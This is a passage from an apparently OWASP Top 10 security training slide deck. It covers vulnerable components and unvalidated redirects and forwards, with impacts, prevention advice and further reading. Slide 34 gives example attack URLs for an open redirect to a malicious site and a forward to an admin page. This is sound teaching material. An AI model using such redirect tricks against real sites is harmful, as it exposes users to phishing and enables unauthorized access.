  • 32. A9: Using Components with Known Vulnerabilities Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Widespread Difficult Moderate • As per the title! • Impact: • Full range of weaknesses, including injection, broken access control, XSS … • Minimal → complete host takeover and data compromise 32
  • 33. A9: Using Components with Known Vulnerabilities • Prevention: • Identify all components and versions in use • Monitor security of these components • Keep components up to date • Establish security policies governing use • If necessary add wrappers to disable unused or vulnerable aspects of components 33
  • 34. A10: Unvalidated Redirects and Forwards Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Average Uncommon Easy Moderate • Redirects are common and send the user to a new site .. which could be malicious if not validated! http://fail.com/redir.php?url=badsite.com • Forwards (Transfers) send the request to a new page in the same application .. which could bypass authentication or authorization http://fail.com/redir.php?url=admin.php 34
  • 35. A10: Unvalidated Redirects and Forwards • Impact: • Redirect victim to phishing or malware site • Attacker’s request is forwarded past security checks, allowing unauthorized function or data access • Prevention: • Avoid using them • Dont use user supplied data for destination • Validate any user data that must be used 35
  • 36. Where Next? • Read and understand the full document! • Read the OWASP Developers Guide • Watch the OWASP AppSec Tutorial videos on youtube • Re-examine your code! • Introduce a Secure Development Lifecycle • Use tools like the OWASP Zed Attack Proxy  36